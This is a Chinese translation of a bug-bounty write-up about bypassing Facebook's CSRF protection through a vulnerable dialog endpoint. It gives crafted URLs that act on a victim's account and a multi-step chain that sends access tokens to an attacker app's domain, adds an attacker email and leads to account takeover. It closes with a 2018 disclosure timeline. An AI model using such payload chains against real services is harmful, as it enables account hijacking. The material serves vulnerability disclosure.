绕过Facebook CSRF保护——导致帐户接管。

2019-04-04 约 82 字 预计阅读 1 分钟

声明:本文 【绕过Facebook CSRF保护——导致帐户接管。】 由作者 惊鸿一瞥最是珍贵 于 2019-02-18 00:29:00 首发 先知社区 曾经 浏览数 1071 次

感谢 惊鸿一瞥最是珍贵 的辛苦付出!

前言

此漏洞允许攻击者利用CSRF令牌向Facebook上的任意端点发送请求,从而导致受害者帐户接管。为了使此攻击有效,攻击者必须诱使目标单击某个链接。

示范

这是因为有一个易受攻击的端点,它获取攻击者选择的另一个给定的Facebook端点以及参数,并在添加fb_dtsg参数后向该端点发出POST请求。给定的端点位于主域www.facebook.com下,这使得攻击者更容易欺骗受害者访问URL。

易受攻击的端点:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=XXXX

其中XXXX带有将在其中发出POST请求的参数的端点(CSRF令牌fb_dtsg将自动添加到请求主体)。

如果受害者访问此URL,我们可以采取许多措施。

Make a post on timeline:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/api/graphql/%3fdoc_id=1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}

删除个人资料(Delete Profile Picture):

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/profile/picture/remove_picture/%3fdelete_from_album=1%26profile_id={TARGET_ID}

欺骗用户删除其帐户(在使用“locale”参数更改语言后)

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

帐户接管方法

要接管帐户,我必须向受害者帐户添加一个新的电子邮件地址或电话号码。这里的问题是,受害者必须访问两个单独的URL,一个用于添加电子邮件/电话,另一个用于确认,因为用于添加电子邮件或电话号码的“普通”端点没有“next”参数来在请求成功后重定向用户。
因此,为了绕过这一点,我需要找到出现“next”参数的端点,从而可以使用单个URL进行帐户接管。
1.我们将攻击者应用程序授权为用户,然后我们重定向到https://www.facebook.com/v3.2/dialog/oauth——它将自动重定向到攻击者网站,其中access_token具有允许该应用程序使用的作用域(这是在没有用户交互的情况下发生的,因为应用程序已经使用端点/ajax/appcenter/redirect_to_app进行了授权)。
此URL应发送给用户:

https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog

此步骤适用于多种情况:
首先使用端点/v3.2/dialog/oauth绕过“next”参数中的Facebook重定向保护,该参数会阻止对外部网站的重定向尝试,即使这些尝试是使用linkshim完成的。
其次,使用接收到的令牌来识别每个受害者,这将有助于稍后提取该特定用户的确认码。
2.攻击者网站接收用户的访问令牌,在该域下为用户创建一封电子邮件,然后将用户重定向到:

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

此URL执行以下操作:
首先,它使用端点/ add_contactpoint / dialog / submit /将电子邮件链接到用户帐户(不需要密码确认)。
链接后,它将重定向到“next”参数中的选定端点:

"/v3.2/dialog/oauth?response_type=token&client_id={ATTACKER_APP}&redirect_uri={ATTACKER_DOMAIN}"

它将使用用户access_token再次重定向到“ATTACKER_DOMAIN”。
3.攻击者网站接收access_Token,提取用户ID,然后搜索收到的该用户的电子邮件,获取确认链接,然后再次重定向到:

https://www.facebook.com/confirmcontact.php?c={CODE}&z=0&gfid={HASH}

(CODE和HASH在收到的Facebook电子邮件中)
对于攻击者来说,此方法更简单,但在链接后,端点会将受害者重定向到

https://www.facebook.com/settings?section=email

这会显示新添加的电子邮件,因此可以使用/confirm_code/dialog/submit/端点完成确认,该端点有一个“next”参数,可以在确认完成后将受害者重定向到主页。
4.电子邮件现在已添加到受害者帐户,攻击者可以重置密码并接管该帐户。
这个攻击看起来很长,但在转瞬之间就完成了,这个攻击的危险之处就在于它不针对某一特点用户,而是只要你点击了步骤1中的链接,你就会掉进了陷阱。

时间线

2018年1月26日——发送报告
2018年1月26日——facebook确定bug
2018年1月28日——发送更多详细信息
2018年1月31日——facebook完成修复
2018年2月12日——facebook奖励$25,000赏金

翻译文章:https://ysamm.com/?p=185

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now